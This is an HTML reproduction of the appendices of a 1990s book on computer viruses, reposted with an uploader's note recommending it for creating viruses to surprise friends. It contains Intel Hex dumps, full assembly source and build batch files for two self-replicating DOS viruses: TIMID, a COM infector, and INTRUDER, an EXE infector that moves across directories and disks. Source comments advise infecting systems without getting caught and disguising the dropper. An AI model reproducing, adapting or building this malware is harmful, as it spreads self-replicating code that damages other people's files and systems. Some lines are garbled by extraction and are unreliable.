Free Web site hosting - Freeservers.com

 

EBooks Home Page


The Little Black Book

of

Computer Viruses


Volume One:

Part 1 is Here


The Basic Technology

By

Mark A. Ludwig

American Eagle Publications, Inc.

Post Office Box 1507

Show Low, Arizona 85901

1996


A Small Note

I have read this book completely and I have found it very useful. This is a good beginning material for those who want to know the intrecacies of how a virus works and those who want to surprise their friends by creating a virus !

I had found this book long ago on a site the I recenly happened to know no longer exixts. I think a good text such as this shouldbe freely available to everybody and thus, I decided to upload it on my website and distribute it for free. The original copyright notice is attached, and no changes in the text are made except that it has been made in html format, for better view. The images whose reference is given in this book can be found at this page.

Please feel free to distribute this file. You can also read or contribute anything related to this book at the Special Section of Discussion Forum at my website (http://amitmathur.8m.com), started specially for it. You can catch it here

I hope you will enjoy the book !

Amit Mathur
Direct Mail Page
Homepage



 

Copyright 1990 By Mark A. Ludwig

Virus drawings and cover design by Steve Warner

This electronic edition of The Little Black Book of Computer Viruses is

copyright 1996 by Mark A. Ludwig. This original text file

may be copied freely in unmodified form. Please share it, upload it,

download it, etc. This document may not be distributed in printed form

or modified in any way without written permission from the publisher.

Library of Congress CataloginginPublication Data

Ludwig, Mark A.

The little black book of computer viruses / by Mark A. Ludwig.

p. cm.

Includes bibliographical references (p. ) and index.

ISBN 0929408020 (v. 1) : $14.95

1. Computer viruses I. Title

QA76.76.C68L83 1990

005.8 dc20

 

And God saw that it was good.

And God blessed them, saying "

"

Genesis 1:21,22

Be fruitful

and multiply.

 

Appendix A: The TIMID Virus

The assembly language listings of all viruses are provided

in the appendicies. They have been designed so they can be assem

bled using either Microsoft Macro Assembler (MASM), Turbo

Assembler (TASM), or the shareware program A86. Batch files are

also listed which carry out the assembly with all three assemblers
e viruses into an executable state.

Additionally, Intel Hex listings of all viruses in this book

are provided here, in the appendicies. This will enable the reader

who has only a word processor and the BASIC language to get the

viruses into his computer and running. In Appendix F you will find

a BASIC listing of the Hex Loader which will transform the Intel

Hex listings of the viruses into executable programs. All you have

to do is type it in to your computer using the BASIC editor and save

it. Then, to create a virus, type in the Hex listing exactly as printed

here, using a wordprocessor, and save it to a file (e.g. TIMID.HEX).

When you run the Hex Loader, it will prompt you for the Hex file

name, and the Binary file name. Just enter the names, and it will

create the Binary file from the Hex file. If you made any errors in

typing the Hex file in, the loader will alert you to the error and tell

you which line number it is on.

For example, to create TIMID.COM from TIMID.HEX,

run the loader and it will prompt you ``Source file?,'' at which you

should enter ``TIMID.HEX''. Next, the loader will prompt you

``Destination file?'' and you should enter ``TIMID.COM''. It will

run for a few seconds and then tell you it is finished. When you exit

 

from BASIC, you should have a file TIMID.COM on disk. This is

the live virus.

Here is the complete Intel Hex listing for the TIMID virus

(TIMID.HEX):

:10000000E909005649212A2E434F4D00E80000819E

:100010002EFCFF0900BA2AFFB41ACD21E83E007574

:1000200010E88F00BA48FFC70655FF2400B409CD79

:1000300021BA8000B41ACD218B1EFCFF8B875200A1

:10004000A300018B875400A302018A875600A204F3

:1000500001C706FCFF0001C3B44CB000CD8B16FCF9

:10006000FFB93F00B44ECD210AC0750BE8090074FA

:1000700006B44FCD21EBF1C3BA48FFB8023DCD2104

:1000800072298BD853B90500BA57FFB43FCD215B15

:10009000B43ECD21A144FF050502720F803E57FFFB

:1000A000E9750D813E5AFF56497505B0010AC0C376

:1000B00032C0C3BA48FFB8023DCD21A355FF33C9B2

:1000C0008BD18B1E55FFB80242CD21B931018B1661

:1000D000FCFF8B1E55FFB440CD2133C98B1644FF66

:1000E00081C252008B1E55FFB80042CD21B90500D8

:1000F0008B1E55FFBA57FFB440CD2133C98BD18B2E

:100100001E55FFB80042CD218B1EFCFFC60657FFCF

:10011000E9A144FF050300A358FFC7065AFF56494B

:10012000B90500BA57FF8B1E55FFB440CD218B1E79

:0701300055FFB43ECD21C3D1

:00000001FF

Here is the assembly language listing for the TIMID virus

(TIMID.ASM):

;This program is a basic virus that infects just COM files. It gets the first

;five bytes of its host and stores them elsewhere in the program and puts a

;jump to it at the start, along with the letters ``VI'', which are used by the

;virus to identify an already infected

;program.

MAIN SEGMENT BYTE

ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

ORG 100H

;This host is a shell of a program which will release the virus into the

;system. All it does is jump to the virus routine, which does its job and

;returns to it, at which point it terminates to DOS.

HOST:

jmp NEAR PTR VIRUS_START ;MASM cannot assemble this jmp correctly

db 'VI'

mov ah,4CH

mov al,0

int 21H ;terminate normally with DOS

VIRUS: ;a label for the first byte of the virus

COMFILE DB '*.COM',0 ;search string for a com file

96 The Little Black Book of Computer Viruses

 

VIRUS_START:

call GET_START ;get start address

;This is a trick to determine the location of the start of the program. We put

;the address of GET_START on the stack with the call, which is overlayed by

;VIR_START. Subtract offsets to get @VIRUS

GET_START:

sub WORD PTR [VIR_START],OFFSET GET_START OFFSET VIRUS

mov dx,OFFSET DTA ;put DTA at the end of the virus for now

mov ah,1AH ;set new DTA function

int 21H

call FIND_FILE ;get a com file to attack

jnz EXIT_VIRUS ;returned nz no file to infect, exit

call INFECT ;have a good COM file to use infect it

mov dx,OFFSET FNAME ;display the name of the file just infected

mov WORD PTR [HANDLE],24H ;make sure string terminates w/ '$'

mov ah,9

int 21H ;display it

EXIT_VIRUS:

mov dx,80H ;fix the DTA so that the host program doesn't

mov ah,1AH ;get confused and write over its data with

int 21H ;file i/o or something like that!

mov bx,[VIR_START] ;get the start address of the virus

mov ax,WORD PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)] ;restore

mov WORD PTR [HOST],ax ;5 orig bytes of COM file to start of file

mov ax,WORD PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)+2]

mov WORD PTR [HOST+2],ax

mov al,BYTE PTR [bx+(OFFSET START_CODE)(OFFSET VIRUS)+4]

mov BYTE PTR [HOST+4],al

mov [VIR_START],100H ;set up stack to do return to host program

ret ;and return to host

START_CODE: ;move first 5 bytes from host program to here

nop ;nop's for the original assembly code

nop ;will work fine

nop

nop

nop

;*******************************************************************************

;Find a file which passes FILE_OK

;This routine does a simple directory search to find a COM file in the current

;directory, to find a file for which FILE_OK returns with z set.

FIND_FILE:

mov dx,[VIR_START]

; add dx,OFFSET COMFILE OFFSET VIRUS ;this is zero here, so omit it

mov cx,3FH ;search for any file, with any attributes

mov ah,4EH ;do DOS search first function

int 21H

FF_LOOP:

or al,al ;is DOS return OK?

jnz FF_DONE ;no quit with Z reset

call FILE_OK ;return ok is this a good file to use?

jz FF_DONE ;yes valid file found exit with z set

mov ah,4FH ;not a valid file, so

int 21H ;do find next function

jmp FF_LOOP ;and go test next file for validity

FF_DONE:

ret

;*******************************************************************************

;Function to determine whether the COM file specified in FNAME is useable. If

;so return z, else return nz.

;What makes a COM file useable?:

; a) There must be space for the virus without exceeding the

; 64 KByte file size limit.

; b) Bytes 0, 3 and 4 of the file are not a near jump op code,

; and 'V', 'I', respectively

;

FILE_OK:

mov dx,OFFSET FNAME ;first open the file

Appendix A: The TIMID Virus 97

 

mov ax,3D02H ;r/w access open file we'll want to write to it

int 21H

jc FOK_NZEND ;error opening file quit, file can't be used

mov bx,ax ;put file handle in bx

push bx ;and save it on the stack

mov cx,5 ;next read 5 bytes at the start of the program

mov dx,OFFSET START_IMAGE ;and store them here

mov ah,3FH ;DOS read function

int 21H

pop bx ;restore the file handle

mov ah,3EH

int 21H ;and close the file

mov ax,WORD PTR [FSIZE] ;get the file size of the host

add ax,OFFSET ENDVIRUS OFFSET VIRUS ;add size of virus to it

jc FOK_NZEND ;c set if size goes above 64K

cmp BYTE PTR [START_IMAGE],0E9H ;size ok is first byte a near jmp

jnz FOK_ZEND ;not a near jump, file must be ok, exit with z

cmp WORD PTR [START_IMAGE+3],4956H ;ok, is 'VI' in positions 3 & 4?

jnz FOK_ZEND ;no, file can be infected, return with Z set

FOK_NZEND:

mov al,1 ;we'd better not infect this file

or al,al ;so return with z reset

ret

FOK_ZEND:

xor al,al ;ok to infect, return with z set

ret

;*******************************************************************************

;This routine moves the virus (this program) to the end of the COM file

;Basically, it just copies everything here to there, and then goes and

;adjusts the 5 bytes at the start of the program and the five bytes stored

;in memory.

INFECT:

mov dx,OFFSET FNAME ;first open the file

mov ax,3D02H ;r/w access open file, we want to write to it

int 21H

mov WORD PTR [HANDLE],ax ;and save the file handle here

xor cx,cx ;prepare to write virus on new file

mov dx,cx ;position file pointer, cx:dx = pointer = 0

mov bx,WORD PTR [HANDLE]

mov ax,4202H ;locate pointer to end DOS function

int 21H

mov cx,OFFSET FINAL OFFSET VIRUS ;now write virus, cx=# bytes

mov dx,[VIR_START] ;ds:dx = place in memory to write from

mov bx,WORD PTR [HANDLE] ;bx = file handle

mov ah,40H ;DOS write function

int 21H

xor cx,cx ;now save 5 bytes which came from start of host

mov dx,WORD PTR [FSIZE] ;so position the file pointer

add dx,OFFSET START_CODE OFFSET VIRUS ;to where START_CODE is

mov bx,WORD PTR [HANDLE] ;in the new virus

mov ax,4200H ;and use DOS to position the file pointer

int 21H

mov cx,5 ;now go write START_CODE in the file

mov bx,WORD PTR [HANDLE] ;this data was obtained

mov dx,OFFSET START_IMAGE ;during the FILE_OK function above

mov ah,40H

int 21H

xor cx,cx ;now go back to the start of host program

mov dx,cx ;so we can put the jump to the virus in

mov bx,WORD PTR [HANDLE]

mov ax,4200H ;locate file pointer function

98 The Little Black Book of Computer Viruses

 

int 21H

mov bx,[VIR_START] ;calculate jump location for start of code

mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9

mov ax,WORD PTR [FSIZE] ;and then the relative address

add ax,OFFSET VIRUS_STARTOFFSET VIRUS3 ;these go to START_IMAGE

mov WORD PTR [START_IMAGE+1],ax

mov WORD PTR [START_IMAGE+3],4956H ;and put 'VI' ID code in

mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE

mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE

mov bx,WORD PTR [HANDLE] ;file handle

mov ah,40H ;DOS write function

int 21H

mov bx,WORD PTR [HANDLE] ;finally, get handle off of stack

mov ah,3EH ;and close file

int 21H

ret ;all done, the virus is transferred

FINAL: ;label for last byte of code to be kept in virus when it moves

ENDVIRUS EQU $ + 212 ;label for determining space needed by virus

;Note: 212 = FFFF FF2A 1 = size of data space

; $ gives approximate size of code required for virus

ORG 0FF2AH

DTA DB 1AH dup (?) ;this is a work area for the search function

FSIZE DW 0,0 ;file size storage area

FNAME DB 13 dup (?) ;area for file path

HANDLE DW 0 ;file handle

START_IMAGE DB 0,0,0,0,0 ;area to store 5 bytes to rd/wrt to file

VSTACK DW 50H dup (?) ;stack for the virus program

VIR_START DW (?) ;start address of VIRUS (overlays stack)

MAIN ENDS

END HOST

In order to create a working copy of the virus (i.e. an

infected COM file), you will also need the very short program

SHELLT.ASM:

;Assembly language shell for a simple COM file program

MAIN SEGMENT BYTE

ASSUME CS:MAIN,DS:MAIN,SS:NOTHING

ORG 100H

START:

FINISH: mov ah,4CH

mov al,0

int 21H ;terminate normally with DOS

MAIN ENDS

END START

In order to create a working virus under Turbo Assembler,

create the following batch file (MAKET_T.BAT), along with the

Appendix A: The TIMID Virus 99

 

above two ASM files, put them all in the same directory, and execute

the batch file. The end result will be a file TIMID.COM, which is

a COM file with the virus attached to it.

md timid

tasm timid,,;

tlink /t timid,,;

copy timid.com timid

tasm shellt,,;

tlink /t shellt,,;

copy shellt.com timid

cd timid

timid

del timid.com

copy shellt.com ..\timid.com

del shellt.com

cd ..

rd timid

del *.obj

del *.lst

del *.map

del shellt.com

If you prefer to use the Microsoft Assembler (MASM),

you'll need two files, MAKET_M.BAT:

md timid

masm timid,,;

link timid,,;

debug timid.exe aket_m.dbg

masm shellt,,;

link shellt,,;

exe2bin shellt shellt.com

copy shellt.com timid

copy timid.com timid

cd timid

timid

del timid.com

copy shellt.com ..\timid.com

del shellt.com

cd ..

rd timid

del *.obj

del *.lst

del *.map

del shellt.com

del timid.exe

del shellt.exe

100 The Little Black Book of Computer Viruses

 

and MAKET_M.DBG:

n timid.com

r cx

400

r bx

0

w 100

q

When you run MAKET_M.BAT, make sure the DOS pro

gram DEBUG is in your path, so it will execute when called by the

batch file. The reason you need DEBUGwith MASM, but not with

TASM is that MASM tries to outsmart the programmer about the

type of jump instructions to code into the program, so instead of

coding a near jump, it can automatically switch it over to a short

jump. This is simply not acceptable, so we use DEBUG to correct

MASM.

If you prefer to assemble the virus using A86, create and

execute the following batch file (MAKET_A.BAT):

md timid

a86 timid.asm timid.com

a86 shellt.asm shellt.com

copy shellt.com timid

copy timid.com timid

cd timid

timid

del timid.com

copy shellt.com ..\timid.com

del shellt.com

cd ..

rd timid

del shellt.com

del *.sym

Appendix A: The TIMID Virus 101

 

Appendix B: The INTRUDER Virus

WARNING! The INTRUDER virus replicates without any

notice or clue as to where it is going. It is an extremely contagious

virus which will infect your computer, and other computers, if you

execute it. Only the most sophisticated computer users should even

contemplate assembling the following code. IT IS PROVIDED

HERE FOR INFORMATION PURPOSES ONLY. ASSEM

BLE IT AT YOUR OWN RISK!!

The Intel HEX listing for the Intruder virus is as follows:

:100000004D5A47000500020020001100FFFF650067

:100010000001259E0C0112001E00000001003401A9

:100020001200480112000000000000000000000063

:1000300000000000000000000000000000000000C0

:1000400000000000000000000000000000000000B0

:1000500000000000000000000000000000000000A0

:100060000000000000000000000000000000000090

:100070000000000000000000000000000000000080

:100080000000000000000000000000000000000070

:100090000000000000000000000000000000000060

:1000A0000000000000000000000000000000000050

:1000B0000000000000000000000000000000000040

:1000C0000000000000000000000000000000000030

:1000D0000000000000000000000000000000000020

:1000E0000000000000000000000000000000000010

:1000F0000000000000000000000000000000000000

:1001000000000000000000000000000000000000EF

:1001100000000000000000000000000000000000DF

:1001200000000000000000000000000000000000CF

:1001300000000000000000000000000000000000BF

:1001400000000000000000000000000000000000AF

 

:10015000000000000000000000000000000000009F

:10016000000000000000000000000000000000008F

:10017000000000000000000000000000000000007F

:10018000000000000000000000000000000000006F

:10019000000000000000000000000000000000005F

:1001A000000000000000000000000000000000004F

:1001B000000000000000000000000000000000003F

:1001C000000000000000000000000000000000002F

:1001D000000000000000000000000000000000001F

:1001E000000000000000000000000000000000000F

:1001F00000000000000000000000000000000000FF

:10020000494E5452554445522E455845008CC88E8F

:10021000D8BA0000B441CD21B44CB000CD210000CB

:1002200000000000000000000000000000000000CE

:1002300000000000000000000000000000000000BE

:1002400000000000000000000000000000000000AE

:10025000000000000000000000000000000000009E

:10026000000000000000000000000000000000008E

:10027000000000000000000000000000000000007E

:10028000000000000000000000000000000000006E

:10029000000000000000000000000000000000005E

:1002A000000000000000000000000000000000004E

:1002B000000000000000000000000000000000003E

:1002C000000000000000000000000000000000002E

:1002D000000000000000000000000000000000001E

:1002E000000000000000000000000000000000000E

:1002F00000000000000000000000000000000000FE

:1003000000000000000000000000000000000000ED

:1003100000000000000000000000000000000000DD

:10032000AAC800000000000000000000000000005B

:1003300000000000000000000000000000000000BD

:1003400000000000000000000000000000000000AD

:10035000000000000000000000000000000000009D

:10036000000000000000000000000000000000008D

:10037000000000000000000000000000000000007D

:10038000000000000000000000000000000000006D

:10039000000000000000000000000000000000005D

:1003A000000000000000000000000000000000004D

:1003B000000000000000000000000000000000003D

:1003C0000000005C2A2E455845005C2A2E2A0000B9

:1003D000000000000000000000000000000000001D

:1003E000000000000000000000000000000000000D

:1003F00000000000000000000000000000000000FD

:1004000000000000000000000000000000000000EC

:1004100000000000000000000000000000000000DC

:10042000000000000000000000000001508CC88E99

:10043000D88CC0A30400E867037518E86B03E86E66

:1004400003E826007509E89103E8E401E8CE03E833

:10045000760358BB0200FA8ED3BC00018E0604005E

:100460008E1E0400FBEA0D000000B05CA2AF00BECF

:10047000B00032D2B447CD21803EB00000750532C5

:10048000C0A2AF00B002A2FD00E81000740D32C09F

103 The Little Black Book of Computer Viruses

 

:10049000A2AF00FEC0A2FD00E80100C3E851007356

:1004A0004C803EFD0000743FFE0EFD00BFAF00BE5D

:1004B000AA00E8BB004757E8760075235F32C0AA60

:1004C000BFAF00BB4F00A0FD00B22BF6E203D88BFC

:1004D000F3E89C0057E8C4FF7412E8760074DDFE70

:1004E00006FD005F32C0AAB0010AC0C35F32C0C3BC

:1004F000BA0600B41ACD21BFAF00BEA300E8700059

:1005000057BAAF00B93F00B44ECD210AC075195F8C

:1005100047AABFAF00BE2400E855004F57E863006C

:10052000730CB44FCD21EBE35FC60500F9C35FC385

:10053000E8310052B41ACD21BAAF00B91000B44E60

:10054000CD215B0AC0751CF64715107406807F1E0E

:100550002E750EE80E0052B41ACD21B44FCD21EB0A

:10056000E132C0C3BA3100B02BF626FD0003D0C380

:10057000268A05470AC075F84F57FCACAA0AC07511

:10058000F95FC3E82300720DE80B007208E833003E

:100590007203E84500C3B04DB45A3B0687007402AD

:1005A000F9C333C02B06A100C3BAAF00B8023DCDDA

:1005B00021720FA3FE008BD8B91C00BA8700B43F8C

:1005C000CD21C3A18F0003C003C02B068D0003C043

:1005D00003C02B069F003D0800C3A19D0003068FAA

:1005E00000BA1000F7E28BCA8BD08B1EFE00B80059

:1005F00042CD21B43F8B1EFE00BA0901B90200CDE5

:1006000021720BA109013B060000F87501F9C3A096

:100610000501240F7419B910002AC8BA2705010E64

:10062000050183160701008B1EFE00B440CD21C3D7

:100630008B0E07018B1605018B1EFE00B80042CD04

:1006400021E8CBFFB9270533D28B1EFE00B440CD85

:10065000218B1605018B0E0701BB33014303D3BB6E

:10066000000013CB8B1EFE00B80042CD21BA9500CE

:100670008B1EFE00B90200B440CD218B1605018B04

:100680000E0701BB39014303D3BB000013CB8B1E04

:10069000FE00B80042CD21BA97008B1EFE00B902C1

:1006A00000B440CD218B1605018B0E0701BB45011F

:1006B00083C30103D3BB000013CB8B1EFE00B80025

:1006C00042CD21BA9B008B1EFE00B90400B440CD80

:1006D0002133C933D28B1EFE00B80042CD21A105C3

:1006E00001B104D3E88B1E070180E30FB104D2E30C

:1006F00002E32B068F00A39D00BB270583C310B127

:1007000004D3EB03C3A39500B80C01A39B00B8006E

:1007100001A397008B160701A10501BB270503C3A1

:1007200033DB13D305000213D350B109D3E8B1076B

:10073000D3E203C2A38B005825FF01A38900B802AE

:100740000001068D00B91C00BA87008B1EFE00B4A4

:1007500040CD21A18D004848BB0400F7E303069F6C

:1007600000BB000013D38BCA8BD08B1EFE00B800D9

:1007700042CD21A19D00BB330143891E8700A3897F

:1007800000A19D00BB450183C303891E8B00A38D7F

:1007900000B90800BA87008B1EFE00B440CD21C30B

:1007A00032E4C3CD1A80E200C3B090A28204C3B485

:1007B0002FCD21891E02008CC0A304008CC88EC0DE

:1007C000BA0600B41ACD21C38B160200A104008E14

Appendix B: The INTRUDER Virus 104

 

:1007D000D8B41ACD218CC88ED8C3B443B000BAAFF8

:1007E00000CD21880E0001B443B001BAAF00B100C2

:1007F000CD21BAAF00B002B43DCD21A3FE00B45765

:1008000032C08B1EFE00CD21890E01018916030125

:10081000A12200A30701A12000A30501C38B160399

:10082000018B0E0101B457B0018B1EFE00CD21B427

:100830003E8B1EFE00CD218A0E000132EDB443B086

:0708400001BAAF00CD21C396

:00000001FF

The assembly language listing of the Intruder virus follows:

;The Intruder Virus is an EXE file infector which can jump from directory to

;directory and disk to disk. It attaches itself to the end of a file and

;modifies the EXE file header so that it gets control first, before the host

;program. When it is done doing its job, it passes control to the host program,

;so that the host executes without a hint that the virus is there.

.SEQ ;segments must appear in sequential order

;to simulate conditions in active virus

;MGROUP GROUP HOSTSEG,HSTACK ;Host segments grouped together

;HOSTSEG program code segment. The virus gains control before this routine and

;attaches itself to another EXE file. As such, the host program for this

;installer simply tries to delete itself off of disk and terminates. That is

;worthwhile if you want to infect a system with the virus without getting

;caught. Just execute the program that infects, and it disappears without a

;trace. You might want to name the program something more innocuous, though.

HOSTSEG SEGMENT BYTE

ASSUME CS:HOSTSEG,SS:HSTACK

PGMSTR DB 'INTRUDER.EXE',0

HOST:

mov ax,cs ;we want DS=CS here

mov ds,ax

mov dx,OFFSET PGMSTR

mov ah,41H

int 21H ;delete this exe file

mov ah,4CH

mov al,0

int 21H ;terminate normally

HOSTSEG ENDS

;Host program stack segment

HSTACK SEGMENT PARA STACK

db 100H dup (?) ;100 bytes long

HSTACK ENDS

;************************************************************************

;This is the virus itself

STACKSIZE EQU 100H ;size of stack for the virus

NUMRELS EQU 2 ;number of relocatables in the virus,

;these go in relocatable pointer table

;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together

105 The Little Black Book of Computer Viruses

 

;Intruder Virus code segment. This gains control first, before the host. As

;this ASM file is layed out, this program will look exactly like a simple

;program that was infected by the virus.

VSEG SEGMENT PARA

ASSUME CS:VSEG,DS:VSEG,SS:VSTACK

;data storage area comes before any code

VIRUSID DW 0C8AAH ;identifies virus

OLDDTA DD 0 ;old DTA segment and offset

DTA1 DB 2BH dup (?) ;new disk transfer area

DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)

EXE_HDR DB 1CH dup (?) ;buffer for EXE file header

EXEFILE DB '\*.EXE',0 ;search string for an exe file

ALLFILE DB '\*.*',0 ;search string for any file

USEFILE DB 78 dup (?) ;area to put valid file path

LEVEL DB 0 ;depth to search directories for a file

HANDLE DW 0 ;file handle

FATTR DB 0 ;old file attribute storage area

FTIME DW 0 ;old file time stamp storage area

FDATE DW 0 ;old file date stamp storage area

FSIZE DD 0 ;file size storage area

VIDC DW 0 ;storage area to put VIRUSID from new

;host in, to see if virus already there

VCODE DB 1 ;identifies this version

;**************************************************************************

;Intruder virus main routine starts here

VIRUS:

push ax

mov ax,cs

mov ds,ax ;set up DS=CS for the virus

mov ax,es ;get PSP Seg

mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg

call SHOULDRUN ;run only when this returns with z set

jnz REL1 ;not ok to run, go execute host program

call SETSR ;modify SHOULDRUN for next copy of the virus

call NEW_DTA ;set up a new DTA location

call FIND_FILE ;get an exe file to attack

jnz FINISH ;returned nz no valid file, exit

call SAVE_ATTRIBUTE ;save the file attr's and leave file open

call INFECT ;move program code to file we found to attack

call REST_ATTRIBUTE ;restore original file attr's and close file

FINISH: call RESTORE_DTA ;restore DTA to its original value at startup

pop ax

REL1: ;relocatable marker for host stack segment

mov ax,HSTACK ;set up host program stack segment (ax=segment)

cli ;interrupts off while changing stack

mov ss,ax

REL1A: ;marker for host stack pointer

mov sp,OFFSET HSTACK

mov es,WORD PTR [OLDDTA+2] ;set up ES correctly

mov ds,WORD PTR [OLDDTA+2] ;and DS

sti ;interrupts back on

REL2: ;relocatable marker for host code segment

jmp FAR PTR HOST ;begin execution of host program

;**************************************************************************

;First Level Find a file which passes FILE_OK

;

;This routine does a complex directory search to find an EXE file in the

;current directory, one of its subdirectories, or the root directory or one

;of its subdirectories, to find a file for which FILE_OK returns with C reset.

;If you want to change the depth of the search, make sure to allocate enough

;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,

;since the recursive FINDBR uses a different DTA area for the search (see DOS

;functions 4EH and 4FH) on each level. This returns with Z set if a valid

;file is found.

;

Appendix B: The INTRUDER Virus 106

 

FIND_FILE:

mov al,'\' ;set up current dir path in USEFILE

mov BYTE PTR [USEFILE],al

mov si,OFFSET USEFILE+1

xor dl,dl

mov ah,47H

int 21H ;get current dir, USEFILE= \dir

cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root

jnz FF2 ;not the root

xor al,al ;make correction for root directory,

mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''

FF2: mov al,2

mov [LEVEL],al ;search 2 subdirs deep

call FINDBR ;attempt to locate a valid file

jz FF3 ;found one exit

xor al,al ;nope try the root directory

mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''

inc al ;al=1

mov [LEVEL],al ;search one subdir deep

call FINDBR ;attempt to find file

FF3:

ret ;exit with z set by FINDBR

;**************************************************************************

;Second Level Find in a branch

;

;This function searches the directory specified in USEFILE for EXE files.

;after searching the specified directory, it searches subdirectories to the

;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset,

;this routine exits with Z set and leaves the file and path in USEFILE

;

FINDBR:

call FINDEXE ;search current dir for EXE first

jnc FBE3 ;found it exit

cmp [LEVEL],0 ;nodo we want to go another directory deeper?

jz FBE1 ;noexit

dec [LEVEL] ;yesdecrement LEVEL and continue

mov di,OFFSET USEFILE ;'\curr_dir' is here

mov si,OFFSET ALLFILE ;'\*.*' is here

call CONCAT ;get '\curr_dir\*.*' in USEFILE

inc di

push di ;store pointer to first *

call FIRSTDIR ;get first subdirectory

jnz FBE ;couldn't find it, so quit

FB1: ;otherwise, check it out

pop di ;strip \*.* off of USEFILE

xor al,al

stosb

mov di,OFFSET USEFILE

mov bx,OFFSET DTA2+1EH

mov al,[LEVEL]

mov dl,2BH ;compute correct DTA location for subdir name

mul dl ;which depends on the depth we're at in search

add bx,ax ;bx points to directory name

mov si,bx

call CONCAT ;'\curr_dir\sub_dir' put in USEFILE

push di ;save position of first letter in sub_dir name

call FINDBR ;scan the subdirectory and its subdirectories

jz FBE2 ;if successful, exit

call NEXTDIR ;get next subdirectory in this directory

jz FB1 ;go check it if search successful

FBE: ;else exit, NZ set, cleaned up

inc [LEVEL] ;increment the level counter before exit

pop di ;strip any path or file spec off of original

xor al,al ;directory path

stosb

FBE1: mov al,1 ;return with NZ set

or al,al

ret

107 The Little Black Book of Computer Viruses

 

FBE2: pop di ;successful exit, pull this off the stack

FBE3: xor al,al ;and set Z

ret ;exit

;**************************************************************************

;Third Level Part A Find an EXE file

;

;This function searches the path in USEFILE for an EXE file which passes

;the test FILE_OK. This routine will return the full path of the EXE file

;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will

;return with the c flag set. It will search a whole directory before giving up.

;

FINDEXE:

mov dx,OFFSET DTA1 ;set new DTA for EXE search

mov ah,1AH

int 21H

mov di,OFFSET USEFILE

mov si,OFFSET EXEFILE

call CONCAT ;set up USEFILE with '\dir\*.EXE'

push di ;save position of '\' before '*.EXE'

mov dx,OFFSET USEFILE

mov cx,3FH ;search first for any file

mov ah,4EH

int 21H

NEXTEXE:

or al,al ;is DOS return OK?

jnz FEC ;no quit with C set

pop di

inc di

stosb ;truncate '\dir\*.EXE' to '\dir\'

mov di,OFFSET USEFILE

mov si,OFFSET DTA1+1EH

call CONCAT ;setup file name '\dir\filename.exe'

dec di

push di

call FILE_OK ;yes is this a good file to use?

jnc FENC ;yes valid file found exit with c reset

mov ah,4FH

int 21H ;do find next

jmp SHORT NEXTEXE ;and go test it for validity

FEC: ;no valid file found, return with C set

pop di

mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir

stc

ret

FENC: ;valid file found, return with NC

pop di

ret

;**************************************************************************

;Third Level Part B Find a subdirectory

;

;This function searches the file path in USEFILE for subdirectories, excluding

;the subdirectory header entries. If one is found, it returns with Z set, and

;if not, it returns with NZ set.

;There are two entry points here, FIRSTDIR, which does the search first, and

;NEXTDIR, which does the search next.

;

FIRSTDIR:

call GET_DTA ;put proper DTA address in dx

push dx ;save it

mov ah,1AH ;set DTA

int 21H

mov dx,OFFSET USEFILE

mov cx,10H ;search for a directory

mov ah,4EH ;do search first function

Appendix B: The INTRUDER Virus 108

 

int 21H

NEXTD1:

pop bx ;get pointer to search table (DTA)

or al,al ;successful search?

jnz NEXTD3 ;no, quit with NZ set

test BYTE PTR [bx+15H],10H ;is this a directory?

jz NEXTDIR ;no, find another

cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?

jne NEXTD2 ;novalid directory, exit, setting Z flag

;else it was dir header entry, so fall through

NEXTDIR: ;second entry point for search next

call GET_DTA ;get proper DTA address againmay not be set up

push dx

mov ah,1AH ;set DTA

int 21H

mov ah,4FH

int 21H ;do find next

jmp SHORT NEXTD1 ;and loop to check the validity of the return

NEXTD2:

xor al,al ;successful exit, set Z flag

NEXTD3:

ret ;exit routine

;**************************************************************************

;Return the DTA address associated to LEVEL in dx. This is simply given by

;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record

;in its own DTA, since a search at a lower level occurs in the middle of the

;higher level search, and we don't want the higher level being ruined by

;corrupted data.

;

GET_DTA:

mov dx,OFFSET DTA2

mov al,2BH

mul [LEVEL]

add dx,ax ;return with dx= proper dta offset

ret

;**************************************************************************

;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz

;string at ES:DI. Return ES:DI pointing to the end of the first string in the

;destination (or the first character of the second string, after moved).

;

CONCAT:

mov al,byte ptr es:[di] ;find the end of string 1

inc di

or al,al

jnz CONCAT

dec di ;di points to the null at the end

push di ;save it to return to the caller

CONCAT2:

cld

lodsb ;move second string to end of first

stosb

or al,al

jnz CONCAT2

pop di ;and restore di to point

ret ;to end of string 1

;**************************************************************************

;Function to determine whether the EXE file specified in USEFILE is useable.

;if so return nc, else return c

;What makes an EXE file useable?:

; a) The signature field in the EXE header must be 'MZ'. (These

; are the first two bytes in the file.)

; b) The Overlay Number field in the EXE header must be zero.

; c) There must be room in the relocatable table for NUMRELS

; more relocatables without enlarging it.

109 The Little Black Book of Computer Viruses

 

; d) The word VIRUSID must not appear in the 2 bytes just before

; the initial CS:0000 of the test file. If it does, the virus

; is probably already in that file, so we skip it.

;

FILE_OK:

call GET_EXE_HEADER ;read EXE header in USEFILE into EXE_HDR

jc OK_END ;error in reading the file, so quit

call CHECK_SIG_OVERLAY ;is the overlay number zero?

jc OK_END ;no exit with c set

call REL_ROOM ;is there room in the relocatable table?

jc OK_END ;no exit

call IS_ID_THERE ;is id at CS:0000?

OK_END: ret ;return with c flag set properly

;**************************************************************************

;Returns c if signature in the EXE header is anything but 'MZ' or the overlay

;number is anything but zero.

CHECK_SIG_OVERLAY:

mov al,'M' ;check the signature first

mov ah,'Z'

cmp ax,WORD PTR [EXE_HDR]

